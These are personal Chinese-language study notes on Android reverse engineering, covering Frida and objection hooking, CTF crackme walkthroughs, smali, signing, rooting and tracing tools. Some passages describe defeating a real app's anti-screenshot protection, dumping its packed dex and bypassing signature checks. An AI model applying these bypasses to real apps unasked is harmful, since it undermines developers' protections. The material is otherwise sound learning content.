进行实现的,点击C/C++
图标可以跳转查看真实代码
1 |
|
可以看到是有C/C++
进行实现,并且其命名规则为Java_PackageName_ClassName_MethodName
,对应分析一下即可。
多出的两个参数JNIEnv *env
和jobject
分别表示当前java
线程的执行环境和响应函数所在类的对象。
此外还有一些对应的数据类型
Java数据类型 | JNI数据类型 |
---|---|
boolean | jboolean |
byte | jbyte |
void | void |
…. | |
class | jclass |
除了void
,大多都是在前面加j
。
直接使用这个例子编译为APK
,解压打开APK
会发现多一个lib
目录,下面存放四种架构的.so
文件,在对应的平台调用不同架构的.so
文件
安装APK
之后,用objection
注入进程,使用命令memory list modules
即可查看对应的.so
文件是否注入到内存了。
之后可以使用命令memory list export libndkpro.so
导出相关的符号
其他的函数变量都会加上一些乱七八糟的字符,这是因为C++
的name mangling
名称粉碎机制,如果不需要这个,则需要加上extern "C"
,而JNI
函数就是因为加入这个标识就不会有名称粉碎机制导致函数名变化。
可以使用C++filt
对函数名还原
上述提到的都是静态注册的JNI
函数,有一定的命名方式
修改一下例子,使之循环调用需要Hook
的函数
1 | package com.example.ndkpro; |
针对上述例子中的libndkpro.so
,使用如下代码进行HOOK
1 | function hook_native(){ |
正常使用frida
进行hook
即可。
修改一下模式即可,在native-lib.cpp
中更改如下
1 | jstring JNICALL sI3( |
这里即代表对stringFromJNI3
的函数调用注册为对sI3
的函数调用,在对应的Mainactivity
中还是不变,修改成调用stringFromJNI3
即可。重新编译运行APP
即可看到对应的adb logcat
日志
使用这种方式注册的JNI
函数的ndkpro.so
会找不到stringFromJNI3()
字符串相关的函数,这种情况就需要通过先寻找模块基地址,然后寻找偏移地址来获取。
mark:书里面提供的脚本用不了
破解mmzztt
的截屏,首先打开mmzztt
,然后用adb
即可查看当前apk
的一些包信息adb shell dumpsys window | grep mCurrentFocus
,注意这里搜索到的com.mmzztt.app
是包的名称,用来使用spawn
模式重新启动进程,但是实际上启动之后的进程可能并不叫这个名称,可能是其他名称,如果使用attach
模式的话,则需要进程名称才行的。
随后需要了解一下截屏机制的相关知识,搜索一下实现Android
实现截屏的代码,android应用内代码截屏(获取view快照)和禁止截屏 - Python技术站 (pythonjishu.com)
比较关键的就是如下一段代码
那么就可以搜索一下这个setFlasg
的API
是否存在调用,直接搜索函数
1 | android hooking search methods setFlags |
会出现一些结果,但是都不是window
相关的函数调用
因为提到的Android
防截屏知识是获取window
对象,然后调用setFlags
,那么这里就需要window
对象,那么搜索一下window
类对象
1 | android hooking search classes window |
会找到一些,但是具体是那个得判断仔细判断一下,这里师傅说盲猜是android.view.Window
,那么就搜索一下这个类中的方法是否存在setFlags
1 | android hooking list class_methods android.view.Window |
存在该方法调用,那么就可以hook
这个方法,使其不发生作用即可,这里直接用objection
好像不太好使,接下来转换为r0tracer
进行寻找
r0ysue/r0tracer: 安卓Java层多功能追踪脚本 (github.com)
需要修改一下里面的代码,改为指定函数类即可
然后如下代码
1 | frida -U -f com.mmzztt.app -l r0tracer.js -o mzt.logs |
-f
为spawn
模式,因为可能在程序运行之后,这个函数已经被调用了,后续不会被调用,那么就需要用这个模式来重启运行,最终在日志中找到如下调用链
依据这个来hook
或者其他方式即可,使用如下代码进行hook
并打印相关信息
1 | setImmediate(function(){ |
这样frida -U -f com.mmzztt.app -l ./mmzztt.js
使用spawn
模式启动之后,这样就能截屏了,完成破解
之后使用jadx
分析会发现加壳了
那么使用frida
一些项目工具进行动态下载dex
文件解析,hluwa/frida-dexdump: A frida tool to dump dex in memory to support security engineers analyzing malware. (github.com)
然后在手机上打开对应的应用,在kali
中输入frida-dexdump -UF
即可
然后搜索一下
然后用jadx
打开,通常会失败,显示如下,这是一个jadx
的功能,关掉就行
修改一下参数,点击File->Preferences
,修改为no
F5
重新加载一下即可
hook
逆向基础,拉起activity
,广播
攻防世界 (xctf.org.cn)下载APK
安装,发现需要输入密码,逆向分析找到Mainactivity
,找到button
执行逻辑,其实就是调用check.checkPassword
查看一下代码
那么hook
一下返回true
即可
1 | setImmediate(function(){ |
使用如下命令frida -U -f com.example.test.ctf02 -l ./test.js
然后进入下一关,需要输入然后显示
同样找到该按钮对应代码逻辑,获取数据,然后发送广播sendBroadcast
查看相关的AndroidManifest.xml
,可以看到有个过滤,输入android.is.very.fun
才能发送广播
再查看广播对应代码,
调用NextContent
onCreate
调用到Change
即该change
就是以图片方式打开文件timg_2.zip
显示出来,找到apk
里面的timg_2.zip
当作图片打开就能看见flag
此外分析的广播代码也能看到,输入android.is.very.fun
也能展示图片
此外由于NextContent
是一个单独的Activity
,可以直接使用objection
拉起,也能看到flag
这里的MainActivity2
也能使用这种方式拉起,相当于可以直接绕过关卡。
打开APK
,查看AndroidManifest.xml
查找主Activity
可以看到先从LoginActivity
开始,查看一下对应代码
即讲username
传入a
函数进行处理,得到的结果需要与passwd
相同。那么我们就可以hook
住a
函数,传入username
,获取函数a
的加密结果,然后放入passwd
即可,这个可以直接通过objection
操作
1 | objection -g com.example.androiddemo explore |
即可获取到
来到BaseFridaActivity
,点击按钮调用到onClick
,调用到FridaActivity1
的onCheck
,查看一下代码
放入a
函数加密之后需要为R4jSLLLLLLLLLLOrLE7/5B+Z6fsl65yj6BgC6YWz66gO6g2t65Pk6a+P65NK44NNROl0wNOLLLL=
,那么hook
掉这个函数的返回值即可
1 | function one(){ |
来到下一关FridaActivity2
那么hook
一下onCheck
函数,将两个属性置为True
即可
1 | function two(){ |
也可以不用hook
掉onCheck
函数,可以直接设置值的
1 | function two(){ |
也可以调用接口
1 | function two(){ |
关键知识点就是当属性或者函数需要借助于对象时,那么就需要先获取一个对象才能调用或者设置值。静态的使用java.use
获取到类就可以直接使用。
进入到FridaActivity4
同样直接设置一下值即可,需要注意的时直接当变量属性和函数名称一样时,找对应的变量名称在前面需要加上_
下划线,如下代码所示
1 | function three(){ |
进入FridaAacvitity4
hook
掉所有check
函数返回true
即可,这个我写出来不行,还是按照师傅的用java
反射把,但是还是不行,不太会了,估计是哪边有点问题把。
1 | function Activity4(){ |
直接拉起下一关
主要还是在getDynamicDexCheck
上
会加载一个类作为DynamicDexCheck
随后调用这个类的check
方法来判断
那么就需要hook
动态加载这个类,然后hook
里面的check
方法即可。
1 | function five(){ |
这里的hook
不是很懂,先mark
进入FridaActivity6
hook
掉对应类的check
函数即可,这里总是不成功,很奇怪
1 | function six(){ |
参考:https://www.52pojie.cn/thread-1781093-1-1.html,这是基础知识,文件结构部分。
res目录: 存放资源文件,包括icon,xml文件,目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layout文件设计
res/layout/: 存放被编译为屏幕布局(或屏幕的一部分)的XML文件
res/values/: 存放可以被编译成很多类型的资源文件
Bool:包含布尔值的 XML 资源,保存在 的 XML 文件: res/values-small/bools.xml
。
color:包含颜色值(十六进制颜色)的 XML 资源,保存在 的 XML 文件: res/values/colors.xml
。
dimen:包含尺寸值(及度量单位)的 XML 资源,保存在 的 XML 文件: res/values/dimens.xml
。
id:提供应用资源和组件的唯一标识符的 XML 资源,保存在 的 XML 文件:res/values/ids.xml
。
integer:包含整数值的 XML 资源,保存在 的 XML 文件:res/values/integers.xml
。
integers:提供整数数组的 XML 资源,保存在 的 XML 文件: res/values/integers.xml
。
array:提供 (可用于可绘制对象数组)的 XML 资源,保存在 的 XML 文件: res/values/arrays.xml
。
AndroidManifest.xml文件: 应用程序配置文件,每个应用都必须定义和包含的,它描述了应用的名字、版本、权限、引用的库文件等信息。
classes.dex文件: 传统 Class 文件是由一个 Java 源码文件生成的 .Class 文件,而 Android 是把所有 Class 文件进行合并优化,然后生成一个最终的 class.dex 文件。它包含 APK 的可执行代码,是分析 Android 软件时最常见的目标。由于dex文件很难看懂,可通过apktool反编译得到.smali文件,smali文件是对Dalvik虚拟机字节码的一种解释(也可以说是翻译),并非一种官方标准语言。通过对smali文件的解读可以获取源码的信息。
resources.arsc文件: 二进制资源文件,包括字符串等,resources.arsc文件只包含资源的索引和映射关系,并不包含实际的资源内容。实际的资源内容存储在res文件夹中,按照资源类型和名称进行组织。当应用程序需要使用资源时,系统会根据resources.arsc文件中的索引信息找到对应的资源文件,并将其加载到内存中。
smali: smali是将Android字节码用可阅读的字符串形式表现出来的一种语言,可以称之为Android字节码的反汇编语言。利用apktool或者Android Killer,反编classes.dex文件,就可以得到以smali为后缀的文件,这些smali文件就是Dalvik的寄存器语言。
asssets目录:存放APK的静态资源文件,比如视频,音频,图片等
lib目录:armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件
META-INF目录:保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否又被修改)
Kotlin:代表该APK
部分或者全部使用Kotlin
进行开发
AndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。它描述了package中暴露的组件,他们各自的实现类,各种能被处理的数据和启动位置。
属性 | 定义 |
---|---|
versionCode | 版本号,主要用来更新,例如:12 |
versionName | 版本名,给用户看的,例如:1.2 |
package | 包名,例如:com.zj.52pj.demo |
uses-permission android:name=”” | 应用权限,例如:android.permission.INTERNET 代表网络权限 |
android:label=”@string/app_name” | 应用名称 |
android:icon=”@mipmap/ic_launcher” | 应用图标路径 |
android:debuggable=”true” | 应用是否开启debug权限 |
有时候可以反编译之后,在该文件中找到某些权限,删除不必要的权限获取,这样就安全多了。
manifest标签是AndroidManifest.xml文件的根标签,它包含了应用程序的基本信息,如包名、版本号、SDK版本、应用程序的名称和图标等等。
application标签是应用程序的主要标签,它包含了应用程序的所有组件,如Activity(活动)、Service(服务)、Broadcast Receiver(广播接收器)、Content Provider(内容提供者)等等。在application标签中,也可以设置应用程序的全局属性,如主题、权限等等。
activity标签定义了一个Activity组件,它包含了Activity的基本信息,如Activity的名称、图标、主题、启动模式等等。在activity标签中,还可以定义Activity的布局、Intent过滤器等等。
service标签定义了一个Service组件,它包含了Service的基本信息,如Service的名称、图标、启动模式等等。在service标签中,还可以定义Service的Intent过滤器等等。
receiver标签定义了一个BroadcastReceiver组件,它包含了BroadcastReceiver的基本信息,如BroadcastReceiver的名称、图标、权限等等。在receiver标签中,还可以定义BroadcastReceiver的Intent过滤器等等。
provider标签定义了一个Content Provider组件,它包含了Content Provider的基本信息,如Content Provider的名称、图标、权限等等。在provider标签中,还可以定义Content Provider的URI和Mime Type等等。
uses-permission标签定义了应用程序需要的权限,如访问网络、读取SD卡等等。在应用程序安装时,系统会提示用户授权这些权限。
uses-feature标签定义了应用程序需要的硬件或软件特性,如摄像头、GPS等等。在应用程序安装时,系统会检查设备是否支持这些特性。
组件 | 描述 |
---|---|
Activity(活动) | 在应用中的一个Activity可以用来表示一个界面,意思可以理解为“活动”,即一个活动开始,代表 Activity组件启动,活动结束,代表一个Activity的生命周期结束。一个Android应用必须通过Activity来运行和启动,Activity的生命周期交给系统统一管理。 |
Service(服务) | Service它可以在后台执行长时间运行操作而没有用户界面的应用组件,不依赖任何用户界面,例如后台播放音乐,后台下载文件等。 |
Broadcast Receiver(广播接收器) | 一个用于接收广播信息,并做出对应处理的组件。比如我们常见的系统广播:通知时区改变、电量低、用户改变了语言选项等。 |
Content Provider(内容提供者) | 作为应用程序之间唯一的共享数据的途径,Content Provider主要的功能就是存储并检索数据以及向其他应用程序提供访问数据的接口。Android内置的许多数据都是使用Content Provider形式,供开发者调用的(如视频,音频,图片,通讯录等) |
在AndroidManifest.xml
中有一些代码可以查看
1 | <!---声明实现应用部分可视化界面的 Activity,必须使用 AndroidManifest 中的 <activity> 元素表示所有 Activity。系统不会识别和运行任何未进行声明的Activity。-----> |
所有界面都是从主要的Activity
一步一步启动的,比如启动广告流程:启动Activity
->广告Activity
->主页Activity
。
函数名称 | 描述 |
---|---|
onCreate() | 一个Activity启动后第一个被调用的函数,常用来在此方法中进行Activity的一些初始化操作。例如创建View,绑定数据,注册监听,加载参数等。 |
onStart() | 当Activity显示在屏幕上时,此方法被调用但此时还无法进行与用户的交互操作。 |
onResume() | 这个方法在onStart()之后调用,也就是在Activity准备好与用户进行交互的时候调用,此时的Activity一定位于Activity栈顶,处于运行状态。 |
onPause() | 这个方法是在系统准备去启动或者恢复另外一个Activity的时候调用,通常在这个方法中执行一些释放资源的方法,以及保存一些关键数据。 |
onStop() | 这个方法是在Activity完全不可见的时候调用的。 |
onDestroy() | 这个方法在Activity销毁之前调用,之后Activity的状态为销毁状态。 |
onRestart() | 当Activity从停止stop状态恢进入start状态时调用状态。 |
第一步:打包资源文件,生成R.java文件
通过利用aapt资源打包工具,将文件目录中的Resource文件(就是工程中res中的文件)、Assets文件、AndroidManifest.xml文件、Android基础类库(Android.jar文件)进行打包,生成R.java
第二步:aidl生成Java文件
AIDL是Android Interface Definition Language的简称, 是Android跨进程通讯的一种方式。 检索工程里所有的aidl文件,并转换为对应的Java文件
第三步:编译Java文件,生成对应的.class文件
将R.java、aidl生成的Java文件、Java源文件通过JDK携带的Javac编译生成.class文件
第四步:把.class文件转化成Davik VM支持的.dex文件
通过dx工具将.class文件生成为classes.dex
第五步:打包生成未签名的.apk文件
利用apkbuilder工具,将resources.arsc、res目录、AndroidManifest.xml、assets目录、dex文件打包成未签名的apk
第六步:对未签名.apk文件进行签名
使用apksigner为安装包添加签名信息。
第七步:对签名后的.apk文件进行对齐处理
使用zipalign工具对签名包进行内存对齐操作, 即优化安装包的结构。
即让手机同时运行或多个相同的软件
原理 | 解释 |
---|---|
修改包名 | 让手机系统认为这是2个APP,这样的话就能生成2个数据存储路径,此时的多开就等于你打开了两个互不干扰的APP,这个更改的是类似于com.xxx.xxx 这个包名,可以在MT/NP管理器中的安装包提取->提取安装包->定位->点击提取的安装包->功能->APK共存,之后确认即可。但是这个会修改掉包的签名信息,如果开发者进行了签名校验,则会出错。 |
修改Framework | 对于有系统修改权限的厂商,可以修改Framework来实现双开的目的,例如:小米自带多开 |
通过虚拟化技术实现 | 虚拟Framework层、虚拟文件系统、模拟Android对组件的管理、虚拟应用进程管理 等一整套虚拟技术,将APK复制一份到虚拟空间中运行,例如:平行空间 |
以插件机制运行 | 利用反射替换,动态代{过}{滤}理,hook了系统的大部分与system—server进程通讯的函数,以此作为“欺上瞒下”的目的,欺骗系统“以为”只有一个apk在运行,瞒过插件让其“认为”自己已经安装。例如:VirtualApp |
不是很懂,后门应该可以学到
基本上字符串都是反编译结果的资源文件里面,在arsc
里,建议一键汉化,然后再润色。少量没汉化到的字符串参考视频中的方法定位去逐个汉化。
MT管理器->提取安装包->点击安装包->查看->右上角的三点展开->搜索(高级搜索)->文件中包含内容搜索
一般搜索对应的英文即可,大多保存在xxx.xml
文件中,然后修改即可,如下的Hello
,修改成中文即可
记得勾选签名
在不知道什么语言的时候,可以使用开发者助手来获取文本。
打开开发者助手,然后打开对应的应用中的未知语言所在界面,点击开发者助手小图标,找到界面资源分析,点击开始
然后关闭进度条的界面,点击对应的文本即可
得到对应的文件文本,随后即可进行搜索
找到之后,选择翻译模式打开,进入default
默认栏,然后查找修改即可。
搜索找到文件,使用Dex ++
编辑器打开,选择字符串模式进行搜索,然后修改即可。
可以用语法查询工具,有个apk
可以安装,在安卓逆向这档事的课程三中有
在smali语法中的关键字相关含义功能
名称 | 注释 |
---|---|
.class | 类名 |
.super | 父类名,继承的上级类名名称 |
.source | 源名 |
.field | 变量 |
.method | 方法名 |
.register | 寄存器 |
.end method | 方法名的结束 |
public | 公有 |
protected | 半公开,只有同一家人才能用 |
private | 私有,只能自己使用 |
.parameter | 方法参数 |
.prologue | 方法开始 |
.line xxx | 位于第xxx行 |
smali中一些类型和java的对应关系
smali类型 | java类型 | 注释 |
---|---|---|
V | void | 无返回值 |
Z | boolean | 布尔值类型,返回0或1 |
B | byte | 字节类型,返回字节 |
S | short | 短整数类型,返回数字 |
C | char | 字符类型,返回字符 |
I | int | 整数类型,返回数字 |
J | long (64位 需要2个寄存器存储) | 长整数类型,返回数字 |
F | float | 单浮点类型,返回数字 |
D | double (64位 需要2个寄存器存储) | 双浮点类型,返回数字 |
string | String | 文本类型,返回字符串 |
Lxxx/xxx/xxx | object | 对象类型,返回对象 |
关键字 | 注释 | 例子 | 解释 |
---|---|---|---|
const | 重写整数属性,真假属性内容,只能是数字类型 | ||
const-string | 重写字符串内容 | ||
const-wide | 重写长整数类型,多用于修改到期时间。 | ||
return | 返回指令 | ||
if-eq | 全称equal(a=b),比较寄存器ab内容,相同则跳 | ||
if-ne | 全称not equal(a!=b),ab内容不相同则跳 | ||
if-eqz | 全称equal zero(a=0),z即是0的标记,a等于0则跳 | ||
if-nez | 全称not equal zero(a!=0),a不等于0则跳 | ||
if-ge | 全称greater equal(a>=b),a大于或等于则跳 | ||
if-le | 全称little equal(a<=b),a小于或等于则跳 | ||
goto | 强制跳到指定位置 | ||
switch | 分支跳转,一般会有多个分支线,并根据指令跳转到适当位置 | .line 54 packed-switch p1, :pswitch_data_0 .line 54 :pswitch_data_0 .packed-switch 0x1 :pswitch_0 :pswitch_1 .end packed-switch |
首先会有一个结构packed-switch p1,:pswitch_data_0,代表跳转到pswitch_data_0,然后在pswitch_data_0中具体定义相关的switch结构,变量为p1 |
iget | 获取寄存器数据 |
在smali
里的所有操作都必须经过寄存器来进行:本地寄存器用v
开头数字结尾的符号来表示,如v0、 v1、v2
。 参数寄存器则使用p
开头数字结尾的符号来表示,如p0、p1、p2
。特别注意的是,p0
不一定是函数中的第一个参数,在非static
函数中,p0
代指“this"
,p1
表示函数的第一个 参数,p2
代表函数中的第二个参数。而在static
函数中p0
才对应第一个参数(因为Java
的static
方法中没有this
方法)
1 | //一个私有、静态、不可变的方法 方法名 |
其中unicode
可以通过cyberchef
进行确定
还有一些指令
cond_
cond_
第一阶段:DEX整体加固
即将DEX
整体加密后动态加载。加载时DEX
加密文件整体解密后再用DexClassLoader
或者其他类来加载解密后的文件。
第二阶段:代码抽取保护
函数真正的运行代码并不与DEX
整体结构数据存储在一起,真正的加密核心原理为利用私有函数,通过对自身进程的Hook
来拦截函数被调用的路径,在抽取的函数被真实调用之前,将无意义的代码数据填充到对应的代码区中,比如nop
。
对抗工具有,DexHunter
第三阶段:VMP与Dex2C
将所有的JAVA
代码都变成最终的Native
层代码(汇编)。
ProGuard
:更改类名,函数名,变量名,在Android studio
中的根目录下面的App/build.gradle
文件中,将buildTypes
层级的isMinifyEnabled
改为True
即可
DexGuard
:除了ProGuard
提供的功能外,还有字符串加密,花指令以及运行库防护等等。
Android
中常用的弹窗类主要有三种,分别是android.App.Dialog
、android.App.AlertDialog
和android.widget.PopupWindow
,这些弹窗在打开APP
运行起来之后,在内存中一般都有实例运行,那么找到这些实例即可。
主要是网络框架的知识,现在的大多网络通信框架有如下几种
HttpURLConnect
:原生的Android
网络通信框架okhttp
、Volley
、WebSocket
、XMPP
等:一般情况Android
的收发包相关框架为okhttp
、okhttp3
、HTTPURLConnection
三种框架,那么我们需要做的就是定位这三个框架调用到的类。
1.删除~/.objection
目录,即删除旧的objection.log
确保后面运行得到的日志只有本次APP
的内容。
2.Objection
附加进程APP
,输入命令android hooking list classes
获取加载的所有类,退出objection
3.从objection.log
中过滤出所有网络框架类okhttp
、okhttp3
、HTTPURLConnection
1 | cat ./objection.log | grep -i HttpURLConnection > htpc.txt |
4.使用vscode
补全导出的文件,Alt+Shift+鼠标
向下拖动,可以选定所有行进行补全,使之成为一个objection
命令
5.使用objection
的-c
选项对文件中所有命令进行执行
6.所有类都hook
上之后,在APP
上尝试登录,即可看到一堆执行的函数
7.任意选择上述被调用的函数,比如com.android.okhttp.internal.http.StreamAllocation.release
,命令如下
1 | objection -g com.cz.babySister explore |
随后在app
中尝试登录,出现如下调用栈
经过经验分析,可以得到最终的发包函数为com.cz.babySister.c.a.a
APK
的签名作用通常用来证明APK
所有者以及允许校验APK
的正确性。
目前的Android
支持如下四种签名方案
v1
方案:基于 JAR
签名。
这个签名机制主要就在 META-INF
目录下的三个文件,MANIFEST.MF,ANDROID.SF,ANDROID.RSA
,他们都是 V1
签名的产物。
MANIFEST.MF
:摘要文件。签名时,程序遍历Apk
包中的所有文件(entry)
,对非文件夹非签名文件的文件,逐个用SHA1
(安全哈希算法)生成摘要信息,再用Base64
进行编码生成该摘要文件。如果改变了APK
包中内容,那么这个MANIFEST.MF
摘要文件在签名时就会发生改变。ANDROID.SF
:签名文件。签名时对MANIFEST.MF
摘要文件使用SHA1-RSA
,用开发者的私钥进行加密(签名)生成该ANDROID.SF
文件。在安装时或者打开应用某个功能时进行签名校验,用开发者的公钥对该签名文件ANDROID.SF
进行解密,得到解密后的摘要文件MANIFEST.MF_install
,使之与摘要文件MANIFEST.MF
进行比对,如果内容相符,则代表该APK
在签名时到安装这个过程中没有被修改,如果不相符,则被修改了,程序会无法安装,或者安装后闪退。ANDROID.RSA
:密钥文件,保存了公钥以及所采用的加密算法等信息,上述验证过程中用到的公钥即在这个文件中,在签名时会一同导入到该文件。可以发现上述签名过程能保证的是在开发者签名之后的APK
文件没被改变,但是如果我们将APK
文件逆向反编译进行修改,然后用自己的私钥签名,再把自己的公钥放入ANDROID.RSA
密钥文件中,在签名到签名校验这一个过程中APK
文件并没有被改变,还是可以安装正常使用,也就绕过了V1
方案。
v2
方案:APK
签名方案 v2
(在Android 7.0
中引入)
v3
方案:APK
签名方案 v3
(在 Android 9
中引入)
v4
方案:APK
签名方案 v4
(在 Android 11
中引入)
上述几种签名方案详细解读可以参考:APK 签名方案 v2 | Android 开源项目 | Android Open Source Project
那么有签名大多都有签名校验,签名校验失败后通常有如下几种形式来讲应用停止kill/killProcess、system.exit、finish
如果存在针对okhttp
框架的混淆,则可以使用siyujie/OkHttpLogger-Frida: Frida 实现拦截okhttp的脚本 (github.com)来进行对抗
首先进入pixel4 kernelsu
的github
,最新的即可
查看build number
进入https://developers.google.com/android/images#redfin,下载对应版本的刷机包,注意要是`pixel4`才行,点击`link`下载下来
pixel4
关机之后按住音量减和电源键进入fastboot
状态,会有红色感叹号的fastboot
,,运行刷机包中的./flash-all.sh
即可
刷完之后,github
上搜索对应机型的kernelsu
release
上下载img
文件即可
再关机,按住音量减和电源键进入fastboot
状态,使用如下命令再刷入flash
即可
1 | fastboot flash boot pixel4xl_android13_4.14.276_v068.img |
刷完之后,重启即可。
然后再github
上找kernelsu
,进入release
,下载对应版本的apk
进行安装即可
安装完成之后,即可使用scrcpy
远程桌面,即可通过kernelSu
进行管理
https://zhuanlan.zhihu.com/p/360655776
查看教程,用的是官解
用的是这个
小米全机型TWRP一键刷机工具:
百度网盘下载:https://pan.baidu.com/s/15lHG5eibrZ3nsS8CM_JVqg 提取码:pc5n
参考:http://www.romleyuan.com/lec/read?id=201
然后手机进入到Fastboot,运行刷机工具里面的.bat即可,就能进入到TWRP界面。
然后安装Magisk即可,需要后缀为.zip才行。
1 | adb shell twrp install /tmp/magisk.zip |
重启正常安装Magisk即可
工具名称 | 描述 | 链接 |
---|---|---|
Magisk | 获取root,管理root权限,管理模块 | Magisk |
LSPosed | 管理XPosed框架 | LSPosed |
LSPatch | 用来将XPosed框架模块打包到APK | LSPatch |
MT管理器 | 打包,重新签名,修改APK神器 | MT管理器 |
算法助手 | 利用XPosed框架提供各种hook功能 | 算法助手 |
开发助手 | 主要用来查看布局情况 | 手机商城就能下载 |
XappDebug | 用来hook对应APP使其可以调试 | XappDebug |
工具名称 | 描述 | 链接 |
---|---|---|
JEB | APK分析调试 | JEB5.5 |
工具名称 | 描述 | 链接 |
---|---|---|
jnitrace | 老牌,经典,信息全,携带方便 | jnitrace |
jnitrace-engine | 基于jnitrace,可定制化 | jnitrace-engine |
jtrace | 定制方便,信息全面,直接在_agent.js或者_agent_stable.js 里面加自己的逻辑就行 | jtrace |
hook_art.js | 可提供jni trace,可以灵活的增加你需要hook的函数 | hook_art.js |
JNI-Frida-Hook | 函数名已定义,方便定位 | JNI-Frida-Hook |
findhash | ida插件,可用于检测加解密函数,也可作为Native Trace库 | findhash |
Stalker | frida官方提供的代码跟踪引擎,可以在Native层方法级别,块级别,指令级别实现代码修改,代码跟踪 | Stalker |
sktrace | 类似 ida 指令 trace 功能 | sktrace |
frida-qbdi-tracer | 速度比frida stalker快,免补环境 | frida-qbdi-tracer工具名称 |
这个好像没有什么用,貌似是把所有的C相关函数都trace了,不太懂,也可能是用法不太对
官方文档
frida-trace 可以一次性监控一堆函数地址。还能打印出比较漂亮的树状图,不仅可以显示调用流程,还能显示调用层次。并且贴心的把不同线程调用结果用不同的颜色区分开了。
大佬整理的文档:
frida-trace
-i
/ -a
: 跟踪 C 函数或 so 库中的函数。包含/排除模块或函数:
-I
: 包含指定模块。-X
: 排除指定模块。Java 方法跟踪:
-j JAVA_METHOD
: 包含 Java 方法。-J JAVA_METHOD
: 排除 Java 方法。附加方式:
-f
:通过 spwan 方式启动-F
:通过 attach 方式附加当前进程日志输出:
-o
:日志输出到文件示例:
frida为15.2.2
1 | frida-trace -U -F -I "lib52pojie.so" -i "Java_" #附加当前进程并追踪lib52pojie.so里的所有Java_开头的jni导出函数 |
版本
1 | frida==16.1.4 ,python==3.9.9,jnitrace==3.3.0 |
l libnative-lib.so
- 用于指定要跟踪的库-m <spawn|attach>
- 用于指定要使用的 Frida 附加机制-i <regex>
- 用于指定应跟踪的方法名称,例如,-i Get -i RegisterNatives
将仅包含名称中包含 Get 或 RegisterNatives 的 JNI 方法-e <regex>
- 用于指定跟踪中应忽略的方法名称,例如,-e ^Find -e GetEnv
将从结果中排除所有以 Find 开头或包含 GetEnv 的 JNI 方法名称-I <string>
- 用于指定应跟踪的库的导出-E <string>
用于指定不应跟踪的库的导出-o path/output.json
- 用于指定jnitrace
存储所有跟踪数据的输出路径
1 | jnitrace -m attach -l lib52pojie.so wuaipojie -o trace.json |
有时候出错,多点两下
跑的比较慢,整体的trace
版本:
1 | frida==16.1.4 ,python==3.9.9 |
1 | python sktrace.py -m attach -l lib52pojie.so -i 0x103B4 wuaipojie > test.log |
可以搜索字符串
需要用到kali
中的charles
软件,使用charles
导出证书为123.pem
然后push
进入证书,用户安装证书。之后需要使用kernelSu
安装Move_certificates
movecert,用来把用户证书放入到系统中,然后重启一下。
随后需要安装postern
设置vpn
,配置一下代理和规则即可
现在就可以开始抓包了,使用postern
打开vpn
,然后在kali
打开charles
即可
最终实现抓包
Androidkill
原始的签名只能是V1,但是现在使用v1签名在安卓11以上无法安装,所以更改一下签名脚本AndroidRev\Tool\AndroidKiller\bin\apktool\signer.bat
更改为:
1 | @echo off |
这个apksigner.jar
用哪个都行,需要放入AndroidRev\Tool\AndroidKiller\bin\apktool\
中
同时需要用如下命令生成签名密钥my-release-key.keystore
,密码都设置为123456即可
1 | keytool -genkey -v -keystore my-release-key.keystore -alias my-key-alias -keyalg RSA -keysize 2048 -validity 10000 |
将生成的签名密钥my-release-key.keystore
放入AndroidRev\Tool\AndroidKiller\bin\apktool\
即可。
注意更新一下java
1 | PS D:\Work\AndroidRev\Tool\AndroidKiller\projects\jiaochen\Bin> adb install .\jiaochen_killer.apk |
这时候就是4字节对问题
参考:https://blog.csdn.net/jeephao/article/details/117673542
那么就需要在签名之前用zipalign
对齐一下,将zipalign.exe
放入AndroidRev\Tool\AndroidKiller\bin\apktool\
中,修改一下上面的脚本
1 | @echo off |
特别注意的是,p0不一定是函数中的第一个参数,在非static函数中,p0代指“this”,p1表示函数的第一个 参数,p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Java的static方法中没有this方法
在JNI分析时,有时候.so文件没有保存符号,就需要导入jni.h头文件,然后就自己选择相关结构进行解析:
File->Load file->Parse C header file
选择jni.h解析之后,在变量右键,选择Convert to struct*,即可看到导入的结构
如下所示
在逆向时都可以的
导入IDA的android_server用root运行
adb运行端口转发
IDA附加调试即可
在JAVA层如下,有static修饰的
在IDA中一般在Exports导出函数中可以查看到
并且第一个参数均为__JNIEnv*,可以导入jni.h进行修改
常见的反调试有:[原创]【SO壳】17种安卓native反调试收集-Android安全-看雪-安全社区|安全招聘|kanxue.com
在连接so进行调试时
1 | jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700 (jdb挂起) |
这个可能导致
1 | 2.java.io.IOException: handshake failed - connection prematurally closed |
大多是手机问题,或者存在反调试,选择低版本的手机
这个问题出现在JEB4上面,换成JEB5可以了
当用MagiskHide Props Config获取永久调试权限时
再使用JEB调试,记得还是需要修改一下AndroidManifest.xml
的debuggable,不然JEB可能还是无法调试,估计是JEB分析APK时,也会检查APK中的AndroidManifest.xml
的debuggabel选项,如果没设置或者不为True,那么仍然不给调试,这个可能时JEB的关系,和手机APP没什么关系。
《安卓逆向这档事》五、1000-7=?&动态调试&Log插桩 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
有时候算法助手会有这个要求
但是点进去又无法成功,使用此文件夹还是不行
需要在Android/data/目录下新建包名文件夹,使用这个文件夹即可,此时算法助手就能自动定位到了
《教我兄弟学Android逆向系列课程+附件导航帖》 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
《关于我在吾爱破解论坛学安卓逆向这档事》预告 - 『水漫金山』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
从CTF
角度来说,会给出一个运行程序opt
和一个库xx.so
,然后做题需要提供一个exp.ll
,传递给opt
。这个exp.ll
是通过exp.c
进行中间表达式生成的,是exp.c
在程序中的一个比较直观的结构,类似如下
1 |
|
使用命令clang -emit-llvm -S exp.c -o exp.ll
得到如下的exp.ll
直观的程序中间结构表达式
1 | ; ModuleID = 'main.c' |
opt
在运行时,加载xx.so
,而xx.so
的runOnFunction
